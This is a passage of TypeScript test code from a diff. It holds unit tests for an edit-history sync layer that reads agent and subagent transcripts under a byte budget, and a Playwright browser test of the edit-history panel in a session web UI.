const ids = Array.from({ length: MAX_LOADED_STORES + 2 }, (_, i) => `s${i}`);
|
||||
for (const id of ids) await sync.sync({ ...local, id });
|
||||
expect(loads).toEqual(ids);
|
||||
// The two least recently used went: written (no debounced save ran), not kept in memory.
|
||||
await sync.flushAll();
|
||||
expect(existsSync(join(dir, 's0.json'))).toBe(true);
|
||||
expect((await sync.getStore('s0')).list().map((e) => e.id)).toEqual(['t1']);
|
||||
expect(loads.slice(ids.length)).toEqual(['s0']);
|
||||
// The most recently used ones stay loaded.
|
||||
await sync.getStore(ids[ids.length - 1]);
|
||||
expect(loads.slice(ids.length)).toEqual(['s0']);
|
||||
});
|
||||
|
||||
it('a dropped store that never changed writes nothing (no file for a session without edits)', async () => {
|
||||
const { sync } = setup(); // no transcript: nothing to read
|
||||
for (let i = 0; i <= MAX_LOADED_STORES; i++) await sync.sync({ ...local, id: `s${i}` });
|
||||
await sync.flushAll();
|
||||
expect(readdirSync(dir)).toEqual([]);
|
||||
});
|
||||
|
||||
it('a store whose run is in flight is not dropped, and loads once', async () => {
|
||||
let release!: () => void;
|
||||
const gate = new Promise<void>((r) => (release = r));
|
||||
const { host, sync, loads } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
const orig = host.read;
|
||||
let first = true;
|
||||
let inRead!: () => void;
|
||||
const reachedRead = new Promise<void>((r) => (inRead = r));
|
||||
host.read = async (...a) => {
|
||||
if (first) {
|
||||
first = false;
|
||||
inRead();
|
||||
await gate;
|
||||
}
|
||||
return orig(...a);
|
||||
};
|
||||
const slow = sync.sync(local);
|
||||
// Only once s1 holds the gate: the sessions load their stores independently, so a later one
|
||||
// could reach the read first, take the gate and hang the loop below before `release()`.
|
||||
await reachedRead;
|
||||
for (let i = 1; i <= MAX_LOADED_STORES + 1; i++) await sync.sync({ ...local, id: `s1-${i}` });
|
||||
release();
|
||||
expect(await slow).toEqual({ state: 'ok' });
|
||||
expect((await sync.getStore('s1')).list().map((e) => e.id)).toEqual(['t1']);
|
||||
expect(loads.filter((id) => id === 's1')).toEqual(['s1']);
|
||||
});
|
||||
|
||||
it('concurrent first callers share one store', async () => {
|
||||
const { sync } = setup();
|
||||
const [a, b] = await Promise.all([sync.getStore('s1'), sync.getStore('s1')]);
|
||||
expect(a).toBe(b);
|
||||
});
|
||||
|
||||
it('a forward request queued together with an older one still reads forward', async () => {
|
||||
const { host, sync } = setup();
|
||||
host.append('main', editLine('t1', T0, '/w/a.ts'));
|
||||
let release!: () => void;
|
||||
const gate = new Promise<void>((r) => (release = r));
|
||||
const orig = host.read;
|
||||
host.read = async (...a) => {
|
||||
const res = await orig(...a); // the first run's bytes are taken before the append
|
||||
await gate;
|
||||
return res;
|
||||
};
|
||||
const first = sync.sync(local);
|
||||
await new Promise((r) => setTimeout(r, 0));
|
||||
host.append('main', editLine('t2', T0 + 1, '/w/b.ts'));
|
||||
const queued = [sync.sync(local), sync.sync(local, { older: true })];
|
||||
release();
|
||||
await Promise.all([first, ...queued]);
|
||||
expect((await sync.getStore('s1')).get('t2')).toBeDefined();
|
||||
});
|
||||
|
||||
it('load older moves every source back, reading only the blocks it asked for', async () => {
|
||||
const { host, sync } = setup({ budget: 2000 });
|
||||
for (let i = 0; i < 10; i++) host.append('main', editLine(`m${i}`, T0 + i, `/w/m${i}.ts`));
|
||||
for (let i = 0; i < 10; i++) {
|
||||
host.append('subagents/agent-ab.jsonl', editLine(`s${i}`, T0 + 100 + i, `/w/s${i}.ts`, { agentId: 'ab' }));
|
||||
}
|
||||
await sync.sync(local);
|
||||
await sync.sync(local); // the subagent gets its first block once main is up to date
|
||||
const store = await sync.getStore('s1');
|
||||
const floors = () => [store.getCursor('main')!.floor, store.getCursor('subagents/agent-ab.jsonl')!.floor];
|
||||
const [main0, sub0] = floors();
|
||||
expect(main0).toBeGreaterThan(0);
|
||||
expect(sub0).toBeGreaterThan(0);
|
||||
await sync.sync(local, { older: true });
|
||||
const [main1, sub1] = floors();
|
||||
expect(main1).toBeLessThan(main0);
|
||||
expect(sub1).toBeLessThan(sub0);
|
||||
expect(
|
||||
host.calls
|
||||
.at(-1)!
|
||||
.map((r) => r.relPath)
|
||||
.sort()
|
||||
).toEqual(['main', 'subagents/agent-ab.jsonl']);
|
||||
for (let i = 0; i < 20 && store.backfillTruncated; i++) await sync.sync(local, { older: true });
|
||||
expect(store.list()).toHaveLength(20);
|
||||
});
|
||||
|
||||
it('a file the shared budget cut short is read in the next pass, not skipped as one long line', async () => {
|
||||
const budget = 4000;
|
||||
const { host, sync } = setup({ budget });
|
||||
const sub = 'subagents/agent-a1.jsonl';
|
||||
host.append('main', editLine('m0', T0, '/w/m0.ts'));
|
||||
host.append(sub, editLine('s0', T0 + 1, '/w/s0.ts', { agentId: 'a1' }));
|
||||
await sync.sync(local);
|
||||
// main grows by almost a whole budget, leaving the subagent 50 bytes of this pass
|
||||
const filler = JSON.stringify({ type: 'user', message: { content: '' } });
|
||||
host.append(
|
||||
'main',
|
||||
JSON.stringify({ type: 'user', message: { content: 'z'.repeat(budget - 51 - filler.length) } }) + '\n'
|
||||
);
|
||||
host.append(sub, editLine('s1', T0 + 2, '/w/s1.ts', { agentId: 'a1', pad: 'p'.repeat(100) }));
|
||||
host.append(sub, editLine('s2', T0 + 3, '/w/s2.ts', { agentId: 'a1' }));
|
||||
await sync.sync(local);
|
||||
const store = await sync.getStore('s1');
|
||||
expect(
|
||||
store
|
||||
.list()
|
||||
.map((e) => e.id)
|
||||
.sort()
|
||||
).toEqual(['m0', 's0', 's1', 's2']);
|
||||
expect(store.getCursor(sub)?.midLine).toBeUndefined();
|
||||
});
|
||||
|
||||
it('a first read reaches the subagents in a further pass when main fills the budget', async () => {
|
||||
const { host, sync } = setup({ budget: 3000 });
|
||||
for (let i = 0; i < 20; i++) host.append('main', editLine(`m${i}`, T0 + i, `/w/m${i}.ts`));
|
||||
host.append('subagents/agent-a1.jsonl', editLine('s0', T0 + 100, '/w/s0.ts', { agentId: 'a1' }));
|
||||
await sync.sync(local);
|
||||
const store = await sync.getStore('s1');
|
||||
expect(store.get('s0')?.agentId).toBe('a1');
|
||||
expect(store.getCursor('subagents/agent-a1.jsonl')).toBeDefined();
|
||||
});
|
||||
|
||||
it('load older reads a full budget per source: a line longer than the budget split over the sources is kept', async () => {
|
||||
const budget = 2000;
|
||||
const { host, sync } = setup({ budget });
|
||||
host.append('main', editLine('m0', T0, '/w/m0.ts'));
|
||||
host.append('main', editLine('big', T0 + 1, '/w/big.ts', { pad: 'p'.repeat(800) })); // > budget / 3
|
||||
for (let i = 2; i < 12; i++) host.append('main', editLine(`m${i}`, T0 + i, `/w/m${i}.ts`));
|
||||
for (const a of ['a1', 'a2']) {
|
||||
for (let i = 0; i < 12; i++) {
|
||||
host.append(
|
||||
`subagents/agent-${a}.jsonl`,
|
||||
editLine(`${a}-${i}`, T0 + 100 + i, `/w/${a}${i}.ts`, { agentId: a })
|
||||
);
|
||||
}
|
||||
}
|
||||
for (let i = 0; i < 3; i++) await sync.sync(local);
|
||||
const store = await sync.getStore('s1');
|
||||
expect(store.sourcesWithOlder()).toHaveLength(3);
|
||||
for (let i = 0; i < 20 && store.backfillTruncated; i++) await sync.sync(local, { older: true });
|
||||
expect(store.get('big')).toBeDefined();
|
||||
expect(store.list()).toHaveLength(36);
|
||||
});
|
||||
|
||||
it(`load older reads at most ${MAX_OLDER_SOURCES} sources per click, taking turns`, async () => {
|
||||
const { host, sync } = setup({ budget: 600 });
|
||||
const subs = ['a1', 'a2', 'a3', 'a4'].map((a) => `subagents/agent-${a}.jsonl`);
|
||||
for (const relPath of ['main', ...subs]) {
|
||||
for (let i = 0; i < 8; i++) host.append(relPath, editLine(`${relPath}-${i}`, T0 + i, `/w/${i}.ts`));
|
||||
}
|
||||
for (let i = 0; i < 3; i++) await sync.sync(local);
|
||||
const store = await sync.getStore('s1');
|
||||
expect(store.sourcesWithOlder()).toHaveLength(5);
|
||||
const olderCall = () => host.calls.at(-1)!.map((r) => r.relPath);
|
||||
await sync.sync(local, { older: true });
|
||||
expect(olderCall()).toEqual(['main', subs[0], subs[1]]);
|
||||
await sync.sync(local, { older: true });
|
||||
expect(olderCall()).toEqual([subs[2], subs[3], 'main']);
|
||||
for (let i = 0; i < 30 && store.backfillTruncated; i++) await sync.sync(local, { older: true });
|
||||
expect(store.list()).toHaveLength(40);
|
||||
});
|
||||
|
||||
it('a subagent transcript that vanished loses its cursor (no endless "Load older"), not its entries', async () => {
|
||||
const { host, sync } = setup({ budget: 600 });
|
||||
const sub = 'subagents/agent-a1.jsonl';
|
||||
host.append('main', editLine('m0', T0, '/w/m0.ts'));
|
||||
for (let i = 0; i < 8; i++) host.append(sub, editLine(`s${i}`, T0 + 10 + i, `/w/s${i}.ts`, { agentId: 'a1' }));
|
||||
for (let i = 0; i < 2; i++) await sync.sync(local);
|
||||
const store = await sync.getStore('s1');
|
||||
expect(store.backfillTruncated).toBe(true);
|
||||
const kept = store.list().length;
|
||||
host.files.delete(sub);
|
||||
await sync.sync(local, { older: true });
|
||||
expect(store.getCursor(sub)).toBeUndefined();
|
||||
expect(store.backfillTruncated).toBe(false);
|
||||
expect(store.list()).toHaveLength(kept);
|
||||
});
|
||||
|
||||
it('sweep keeps the sessions in use here and those that exist', async () => {
|
||||
const asked: Record<string, boolean> = {};
|
||||
const { sync } = setup({
|
||||
sweepStores: async (keep) => {
|
||||
for (const id of ['s1', 'kept', 'gone']) asked[id] = keep(id);
|
||||
return 1;
|
||||
},
|
||||
});
|
||||
await sync.getStore('s1');
|
||||
expect(await sync.sweep((id) => id === 'kept')).toBe(1);
|
||||
expect(asked).toEqual({ s1: true, kept: true, gone: false });
|
||||
});
|
||||
});
|
||||
|
||||
describe('confirmImages', () => {
|
||||
it('ignores directories and missing files', () => {
|
||||
const c = [{ toolUseId: 'b', start: T0, end: T0 + 1, paths: ['/d.png', '/m.png'] }];
|
||||
const out = confirmImages(c, (p) =>
|
||||
p === '/d.png' ? { realPath: p, kind: 'directory', size: 0, mtimeMs: T0 } : null
|
||||
);
|
||||
expect(out).toEqual([]);
|
||||
});
|
||||
|
||||
it('lists a file sent to the user outside any window, once per file version', () => {
|
||||
const png = { realPath: '/w/p.png', kind: 'file' as const, size: 9, mtimeMs: T0 };
|
||||
const sent = { toolUseId: 's', start: T0 + 9000, end: T0 + 9000, paths: ['/w/p.png'], sent: true };
|
||||
expect(confirmImages([sent], () => png)).toEqual([
|
||||
{ toolUseId: 's', path: '/w/p.png', ts: T0 + 9000, tool: 'sent' },
|
||||
]);
|
||||
// The Bash call that wrote it was already listed: same version, not again.
|
||||
expect(
|
||||
confirmImages(
|
||||
[sent],
|
||||
() => png,
|
||||
() => T0 + 500
|
||||
)
|
||||
).toEqual([]);
|
||||
expect(confirmImages([sent], () => null)).toEqual([]);
|
||||
});
|
||||
|
||||
it('skips a file version already recorded: the ls right after the render, a listing after a Write', () => {
|
||||
const png = { realPath: '/w/p.png', kind: 'file' as const, size: 9, mtimeMs: T0 + 900 };
|
||||
const render = { toolUseId: 'r', start: T0, end: T0 + 1000, paths: ['/w/p.png'] };
|
||||
const ls = { toolUseId: 'l', start: T0 + 1500, end: T0 + 1600, paths: ['/w/p.png'] };
|
||||
expect(confirmImages([ls, render], () => png).map((i) => i.toolUseId)).toEqual(['r']);
|
||||
// A Write entry for the same path at T0 + 950 already covers it.
|
||||
expect(
|
||||
confirmImages(
|
||||
[ls],
|
||||
() => png,
|
||||
() => T0 + 950
|
||||
)
|
||||
).toEqual([]);
|
||||
// A later re-render (newer mtime, outside the slack) is a new version.
|
||||
const again = { toolUseId: 'r2', start: T0 + 10_000, end: T0 + 11_000, paths: ['/w/p.png'] };
|
||||
const newer = { ...png, mtimeMs: T0 + 10_500 };
|
||||
expect(
|
||||
confirmImages(
|
||||
[again],
|
||||
() => newer,
|
||||
() => T0 + 1000
|
||||
).map((i) => i.toolUseId)
|
||||
).toEqual(['r2']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('reads only on request (wiring guard)', () => {
|
||||
const read = (file: string) => readFileSync(join(__dirname, '..', file), 'utf-8');
|
||||
|
||||
it('the server never starts a sync itself: it only hands the reader to the routes', () => {
|
||||
const server = read('src/web/server.ts');
|
||||
const uses = [...server.matchAll(/this\.editHistorySync\b(\.\w+)?/g)].map((m) => m[1] ?? '');
|
||||
expect(uses.sort()).toEqual(['', '.flushAll', '.remove', '.sweep']);
|
||||
expect(server).toMatch(/registerEditHistoryRoutes\(this\.app, ctx, this\.editHistorySync\)/);
|
||||
});
|
||||
|
||||
it('a remote session looks its transcript up with the stored conversation; a local one keeps the hook path', () => {
|
||||
const server = read('src/web/server.ts');
|
||||
const start = server.indexOf('new EditHistorySync({');
|
||||
const lookup = server.slice(start, server.indexOf('readSources:', start));
|
||||
expect(lookup).toMatch(
|
||||
/session\.remote\s*\?\s*remoteLocateClaudeTranscript\(\s*session\.remote,\s*remoteTranscriptIds\(session, storedTranscriptId\)/
|
||||
);
|
||||
expect(lookup).toMatch(/resolveClaudeTranscript\(\s*this\.transcriptWatchers\.get\(session\.id\)\?\.getPath\(\)/);
|
||||
});
|
||||
|
||||
it('no other module holds the reader, and the edit history modules run no timer or watcher', () => {
|
||||
const root = join(__dirname, '..');
|
||||
const holders = readdirSync(join(root, 'src'), { recursive: true, encoding: 'utf-8' })
|
||||
.filter((f) => /\.(ts|js)$/.test(f))
|
||||
.map((f) => join('src', f).split('\\').join('/'))
|
||||
.filter((f) => /EditHistorySync|editHistorySync/.test(read(f)));
|
||||
expect(holders.sort()).toEqual([
|
||||
'src/web/edit-history-sync.ts',
|
||||
'src/web/routes/edit-history-routes.ts',
|
||||
'src/web/server.ts',
|
||||
]);
|
||||
for (const file of [
|
||||
'src/web/edit-history-sync.ts',
|
||||
'src/edit-history-store.ts',
|
||||
'src/edit-history-local-source.ts',
|
||||
'src/edit-history-parse.ts',
|
||||
'src/web/routes/edit-history-routes.ts',
|
||||
]) {
|
||||
const src = read(file);
|
||||
expect(src, file).not.toMatch(/setInterval|\bwatch\(|chokidar/);
|
||||
}
|
||||
// The store's only timer is its debounced save.
|
||||
expect(read('src/web/edit-history-sync.ts')).not.toMatch(/setTimeout/);
|
||||
});
|
||||
});
|
||||
|
||||
vi.setConfig({ testTimeout: 10_000 });
|
||||
@@ -0,0 +1,528 @@
|
||||
/**
|
||||
* @fileoverview Edit history button and panel, end to end in a real browser: real server, real
|
||||
* Chromium. The edits API is mocked with `page.route` (the UI is built against its contract); the
|
||||
* thumbnails (workspace `file-raw`, the attachment route outside it) and the transcript SSE
|
||||
* events the open panel follows go through the real server.
|
||||
*/
|
||||
import { homedir } from 'node:os';
|
||||
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { join } from 'node:path';
|
||||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { chromium, type Browser, type Page, type Route } from 'playwright';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
|
||||
/** A 2×2 red PNG, so the thumbnail has real pixels to decode. */
|
||||
const PNG = Buffer.from(
|
||||
'iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAIAAAD91JpzAAAAEElEQVR4nGP4z8AARAwQCgAf7gP9i18U1AAAAABJRU5ErkJggg==',
|
||||
'base64'
|
||||
);
|
||||
|
||||
type Entry = {
|
||||
id: string;
|
||||
ts: number;
|
||||
path: string;
|
||||
relPath: string;
|
||||
kind: 'code' | 'image';
|
||||
tool: string;
|
||||
created: boolean;
|
||||
added: number;
|
||||
removed: number;
|
||||
agentId?: string;
|
||||
};
|
||||
|
||||
describe('Edit history panel in a real browser', () => {
|
||||
let server: WebServer;
|
||||
let browser: Browser;
|
||||
let page: Page;
|
||||
let root: string;
|
||||
/** A directory outside the session's workspace, for the attachment-route thumbnail. */
|
||||
let ext: string;
|
||||
let sessionA: string;
|
||||
let sessionB: string;
|
||||
const settingsPutStatuses: number[] = [];
|
||||
/** Bodies of POST /api/sessions/:id/attachments (the file preview registering an external image). */
|
||||
const attachmentPosts: unknown[] = [];
|
||||
/** Every request to the mocked API: `METHOD url`. */
|
||||
const calls: string[] = [];
|
||||
/** The mocked server state per session id. */
|
||||
const state = new Map<string, Record<string, unknown>>();
|
||||
let diffs: Record<string, { diff: string; truncated: boolean }> = {};
|
||||
let olderEntries: Entry[] = [];
|
||||
|
||||
const entry = (over: Partial<Entry> & { id: string; relPath: string }): Entry => ({
|
||||
ts: Date.now(),
|
||||
path: join(root, over.relPath),
|
||||
kind: 'code',
|
||||
tool: 'Edit',
|
||||
created: false,
|
||||
added: 1,
|
||||
removed: 1,
|
||||
...over,
|
||||
});
|
||||
|
||||
const json = (route: Route, data: unknown) =>
|
||||
route.fulfill({ contentType: 'application/json', body: JSON.stringify({ success: true, data }) });
|
||||
|
||||
const buttonVisible = () =>
|
||||
page.evaluate(() => getComputedStyle(document.getElementById('editHistoryBtn')!).display !== 'none');
|
||||
const bodyText = async () => (await page.textContent('#editHistoryBody')) ?? '';
|
||||
const setSetting = async (on: boolean) => {
|
||||
await page.evaluate(() => (window as any).app.openAppSettings());
|
||||
if ((await page.isChecked('#appSettingsShowEditHistory')) !== on)
|
||||
await page.click('label.set-chip:has(#appSettingsShowEditHistory)');
|
||||
await page.evaluate(() => (window as any).app.saveAppSettings());
|
||||
await page.waitForTimeout(300);
|
||||
await page.evaluate(() => (window as any).app.closeAppSettings());
|
||||
};
|
||||
const createSession = (dir: string) =>
|
||||
page.evaluate(async (workingDir) => {
|
||||
const res = await fetch('/api/sessions', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ workingDir, mode: 'shell' }),
|
||||
});
|
||||
const id = (await res.json()).data.session.id;
|
||||
await fetch(`/api/sessions/${id}/shell`, { method: 'POST' });
|
||||
return id as string;
|
||||
}, dir);
|
||||
const select = (id: string) =>
|
||||
page.evaluate(async (sid) => {
|
||||
const app = (window as any).app;
|
||||
for (let i = 0; i < 100 && !app.sessions.has(sid); i++) await new Promise((r) => setTimeout(r, 100));
|
||||
await app.selectSession(sid);
|
||||
}, id);
|
||||
const reload = () => page.evaluate(() => (window as any).app.refreshEditHistory());
|
||||
const syncReads = (sid: string) => calls.filter((c) => c === `GET /api/sessions/${sid}/edits?sync=1`).length;
|
||||
const toolEnd = (sessionId: string, toolName: string) =>
|
||||
(server as any).broadcast('transcript:tool_end', { sessionId, toolName, isError: false, timestamp: Date.now() });
|
||||
const rows = () => page.locator('#editHistoryBody .edit-history-entry');
|
||||
|
||||
beforeAll(async () => {
|
||||
root = mkdtempSync(join(homedir(), 'edit-history-ui-'));
|
||||
writeFileSync(join(root, 'shot.png'), PNG);
|
||||
ext = mkdtempSync(join(homedir(), 'edit-history-ext-'));
|
||||
writeFileSync(join(ext, 'render.png'), PNG);
|
||||
|
||||
server = new WebServer(0, false, true);
|
||||
await server.start();
|
||||
browser = await chromium.launch({ headless: true });
|
||||
page = await browser.newPage({ viewport: { width: 1400, height: 900 } });
|
||||
page.on('response', (r) => {
|
||||
if (r.request().method() === 'PUT' && r.url().endsWith('/api/settings')) settingsPutStatuses.push(r.status());
|
||||
});
|
||||
page.on('request', (r) => {
|
||||
if (r.method() === 'POST' && /\/api\/sessions\/[^/]+\/attachments$/.test(r.url()))
|
||||
attachmentPosts.push(r.postDataJSON());
|
||||
});
|
||||
await page.route('**/api/sessions/*/edits**', async (route) => {
|
||||
const req = route.request();
|
||||
const url = new URL(req.url());
|
||||
calls.push(`${req.method()} ${url.pathname}${url.search}`);
|
||||
const m = url.pathname.match(/\/api\/sessions\/([^/]+)\/edits(?:\/(.+))?$/)!;
|
||||
const sid = decodeURIComponent(m[1]);
|
||||
const rest = m[2] ? decodeURIComponent(m[2]) : '';
|
||||
const s = state.get(sid) ?? { state: 'unsupported', backfillTruncated: false, agents: {}, entries: [] };
|
||||
if (req.method() === 'POST' && rest === 'older') {
|
||||
const entries = [...(s.entries as Entry[]), ...olderEntries];
|
||||
state.set(sid, { ...s, entries, backfillTruncated: false });
|
||||
return json(route, state.get(sid));
|
||||
}
|
||||
if (req.method() === 'GET' && rest) {
|
||||
const d = diffs[rest];
|
||||
if (!d) return route.fulfill({ status: 404, contentType: 'application/json', body: '{"success":false}' });
|
||||
return json(route, d);
|
||||
}
|
||||
return json(route, s);
|
||||
});
|
||||
await page.goto(`http://localhost:${server.boundPort}`, { waitUntil: 'domcontentloaded' });
|
||||
await page.waitForFunction(() => (window as any).app?.terminal, null, { timeout: 30000 });
|
||||
sessionA = await createSession(root);
|
||||
sessionB = await createSession(root);
|
||||
await select(sessionA);
|
||||
|
||||
const t0 = Date.now();
|
||||
state.set(sessionA, {
|
||||
state: 'ok',
|
||||
backfillTruncated: true,
|
||||
agents: {
|
||||
agent1: { description: 'Refactor the parser', agentType: 'general-purpose', worktreeBranch: 'wt/parser' },
|
||||
},
|
||||
entries: [
|
||||
entry({ id: 'e4', ts: t0, relPath: 'src/a.ts', added: 3, removed: 1 }),
|
||||
entry({ id: 'e3', ts: t0 - 1000, relPath: 'shot.png', kind: 'image', tool: 'bash', created: true }),
|
||||
entry({
|
||||
id: 'e2',
|
||||
ts: t0 - 2000,
|
||||
relPath: 'src/b.ts',
|
||||
created: true,
|
||||
tool: 'Write',
|
||||
added: 10,
|
||||
removed: 0,
|
||||
agentId: 'agent1',
|
||||
}),
|
||||
entry({ id: 'e1', ts: t0 - 3000, relPath: 'src/a.ts', added: 2, removed: 2 }),
|
||||
],
|
||||
});
|
||||
diffs = {
|
||||
e4: { diff: '@@ -1,3 +1,3 @@\n context\n-old line\n+new line\n+another\n', truncated: true },
|
||||
e1: { diff: '@@ -5 +5 @@\n-x\n+y\n', truncated: false },
|
||||
};
|
||||
olderEntries = [entry({ id: 'e0', ts: t0 - 86_400_000, relPath: 'src/old.ts', added: 7, removed: 0 })];
|
||||
}, 120000);
|
||||
|
||||
afterAll(async () => {
|
||||
if (browser) await browser.close();
|
||||
if (server) await server.stop();
|
||||
rmSync(root, { recursive: true, force: true });
|
||||
rmSync(ext, { recursive: true, force: true });
|
||||
}, 60000);
|
||||
|
||||
it('is off by default: no button, and nothing asks the edits API', async () => {
|
||||
await page.waitForTimeout(1000);
|
||||
expect(await buttonVisible()).toBe(false);
|
||||
expect(calls).toEqual([]);
|
||||
});
|
||||
|
||||
it('turning it on through Settings shows the button and saves cleanly (the key never reaches the strict PUT)', async () => {
|
||||
await setSetting(true);
|
||||
expect(settingsPutStatuses.length).toBeGreaterThan(0);
|
||||
expect(settingsPutStatuses.every((s) => s === 200)).toBe(true);
|
||||
expect(await buttonVisible()).toBe(true);
|
||||
// In the header next to Attachments, where the panel opens; no longer in the bottom bar.
|
||||
expect(await page.evaluate(() => !!document.querySelector('#headerRight #editHistoryBtn'))).toBe(true);
|
||||
expect(await page.evaluate(() => !!document.querySelector('.toolbar #editHistoryBtn'))).toBe(false);
|
||||
expect(calls).toEqual([]); // no poll: nothing is read until the panel opens
|
||||
});
|
||||
|
||||
it('opens a panel listing the entries newest first, with the subagent chip and an image thumbnail', async () => {
|
||||
await page.click('#editHistoryBtn');
|
||||
await page.waitForSelector('#editHistoryPanel.visible');
|
||||
await page.waitForSelector('#editHistoryBody .edit-history-entry');
|
||||
expect(calls[0]).toBe(`GET /api/sessions/${sessionA}/edits?sync=1`);
|
||||
expect(await page.getAttribute('#editHistoryBtn', 'aria-expanded')).toBe('true');
|
||||
expect(await rows().count()).toBe(4);
|
||||
const paths = await page.locator('#editHistoryBody .edit-history-path').allTextContents();
|
||||
expect(paths).toEqual(['src/a.ts', 'shot.png', 'src/b.ts', 'src/a.ts']);
|
||||
expect(await rows().nth(0).locator('.edit-history-badge').textContent()).toBe('edit');
|
||||
expect(await rows().nth(2).locator('.edit-history-badge').textContent()).toBe('new');
|
||||
expect(await rows().nth(0).locator('.edit-history-stats').textContent()).toBe('+3−1');
|
||||
// The image row: a symbol instead of a word, no +/− counts.
|
||||
expect(await rows().nth(1).locator('.edit-history-badge--image svg').count()).toBe(1);
|
||||
expect(await rows().nth(1).locator('.edit-history-stats').count()).toBe(0);
|
||||
// The subagent chip: its description, and type + branch on hover.
|
||||
const chip = rows().nth(2).locator('.edit-history-agent');
|
||||
expect(await chip.textContent()).toBe('Refactor the parser');
|
||||
expect(await chip.getAttribute('title')).toBe('general-purpose · wt/parser');
|
||||
expect(await page.locator('#editHistoryBody .edit-history-agent').count()).toBe(1);
|
||||
// The thumbnail is served by the real file-raw route and decodes.
|
||||
const thumb = page.locator('#editHistoryBody img.edit-history-thumb');
|
||||
expect(await thumb.count()).toBe(1);
|
||||
expect(await thumb.getAttribute('src')).toBe(
|
||||
`/api/sessions/${sessionA}/file-raw?path=${encodeURIComponent(join(root, 'shot.png'))}`
|
||||
);
|
||||
await page.waitForFunction(
|
||||
() => (document.querySelector('img.edit-history-thumb') as HTMLImageElement)?.naturalWidth === 2
|
||||
);
|
||||
expect(await page.textContent('#editHistoryCount')).toBe('4');
|
||||
});
|
||||
|
||||
it('a code entry opens its diff inline with the Git panel line classes, and closes again', async () => {
|
||||
await rows().nth(0).locator('.edit-history-spacer').click();
|
||||
await page.waitForSelector('#editHistoryBody .edit-history-diff pre.git-diff');
|
||||
expect(calls).toContain(`GET /api/sessions/${sessionA}/edits/e4`);
|
||||
const lines = await page.$$eval('#editHistoryBody pre.git-diff .git-diff-line', (els) =>
|
||||
els.map((e) => [e.className.replace('git-diff-line', '').trim(), e.textContent])
|
||||
);
|
||||
expect(lines).toEqual([
|
||||
['git-diff-line--hunk', '@@ -1,3 +1,3 @@\n'],
|
||||
['', ' context\n'],
|
||||
['git-diff-line--del', '-old line\n'],
|
||||
['git-diff-line--add', '+new line\n'],
|
||||
['git-diff-line--add', '+another\n'],
|
||||
]);
|
||||
expect(await page.textContent('#editHistoryBody .edit-history-diff')).toContain('Diff cut short');
|
||||
expect(await rows().nth(0).getAttribute('aria-expanded')).toBe('true');
|
||||
// A re-read (what an SSE update does) keeps the open diff without fetching it again.
|
||||
const before = calls.filter((c) => c.endsWith('/edits/e4')).length;
|
||||
await reload();
|
||||
expect(await page.locator('#editHistoryBody pre.git-diff').count()).toBe(1);
|
||||
expect(calls.filter((c) => c.endsWith('/edits/e4')).length).toBe(before);
|
||||
await rows().nth(0).locator('.edit-history-spacer').click();
|
||||
expect(await page.locator('#editHistoryBody pre.git-diff').count()).toBe(0);
|
||||
});
|
||||
|
||||
it('a path and an image open the shared file preview with the absolute path', async () => {
|
||||
await page.evaluate(() => {
|
||||
const w = window as any;
|
||||
w.__previewed = [];
|
||||
w.__openFilePreview = w.app.openFilePreview;
|
||||
w.app.openFilePreview = (p: string, sid: string) => w.__previewed.push([p, sid]);
|
||||
});
|
||||
await rows().nth(2).locator('.edit-history-path').click();
|
||||
await page.locator('#editHistoryBody img.edit-history-thumb').click();
|
||||
expect(await page.evaluate(() => (window as any).__previewed)).toEqual([
|
||||
[join(root, 'src/b.ts'), sessionA],
|
||||
[join(root, 'shot.png'), sessionA],
|
||||
]);
|
||||
// Clicking the path never toggles the row's diff.
|
||||
expect(await page.locator('#editHistoryBody .edit-history-diff').count()).toBe(0);
|
||||
await page.evaluate(() => {
|
||||
const w = window as any;
|
||||
w.app.openFilePreview = w.__openFilePreview;
|
||||
});
|
||||
});
|
||||
|
||||
it('"Main agent only" hides the subagent edits; "Group by file" puts edits under their file', async () => {
|
||||
await page.check('#editHistoryMainOnlyToggle');
|
||||
expect(await rows().count()).toBe(3);
|
||||
expect(await page.locator('#editHistoryBody .edit-history-agent').count()).toBe(0);
|
||||
expect(await bodyText()).not.toContain('src/b.ts');
|
||||
await page.uncheck('#editHistoryMainOnlyToggle');
|
||||
expect(await rows().count()).toBe(4);
|
||||
|
||||
await page.check('#editHistoryGroupToggle');
|
||||
const groups = page.locator('#editHistoryBody .edit-history-group');
|
||||
expect(await groups.count()).toBe(3);
|
||||
expect(await groups.nth(0).locator('.edit-history-group-head .edit-history-path').textContent()).toBe('src/a.ts');
|
||||
expect(await groups.nth(0).locator('.edit-history-entry').count()).toBe(2);
|
||||
expect(await groups.nth(0).locator('.edit-history-group-head .edit-history-stats').textContent()).toBe('+5−3');
|
||||
await groups.nth(0).locator('.edit-history-entry').nth(1).locator('.edit-history-spacer').click();
|
||||
await page.waitForSelector('#editHistoryBody .git-diff-line--add');
|
||||
expect(await page.textContent('#editHistoryBody .git-diff-line--add')).toBe('+y\n');
|
||||
await page.uncheck('#editHistoryGroupToggle');
|
||||
});
|
||||
|
||||
it('"Load older" asks the server with a POST and shows what it returns', async () => {
|
||||
const older = page.locator('#editHistoryBody button.edit-history-older');
|
||||
expect(await older.count()).toBe(1);
|
||||
await older.click();
|
||||
await page.waitForFunction(() =>
|
||||
/src\/old\.ts/.test(document.getElementById('editHistoryBody')!.textContent ?? '')
|
||||
);
|
||||
expect(calls).toContain(`POST /api/sessions/${sessionA}/edits/older`);
|
||||
expect(await rows().count()).toBe(5);
|
||||
expect(await page.locator('#editHistoryBody button.edit-history-older').count()).toBe(0);
|
||||
});
|
||||
|
||||
it('while open it follows the session: an edit-capable tool end or a turn end re-reads (debounced), other tools, sessions and keep-alive turns do not', async () => {
|
||||
const before = syncReads(sessionA);
|
||||
const s = state.get(sessionA)!;
|
||||
state.set(sessionA, {
|
||||
...s,
|
||||
entries: [entry({ id: 'e5', relPath: 'src/fresh.ts', added: 4, removed: 0 }), ...(s.entries as Entry[])],
|
||||
});
|
||||
toolEnd(sessionA, 'Read');
|
||||
toolEnd(sessionA, 'Grep');
|
||||
toolEnd('someone-else', 'Edit');
|
||||
await page.waitForTimeout(1000);
|
||||
expect(syncReads(sessionA)).toBe(before);
|
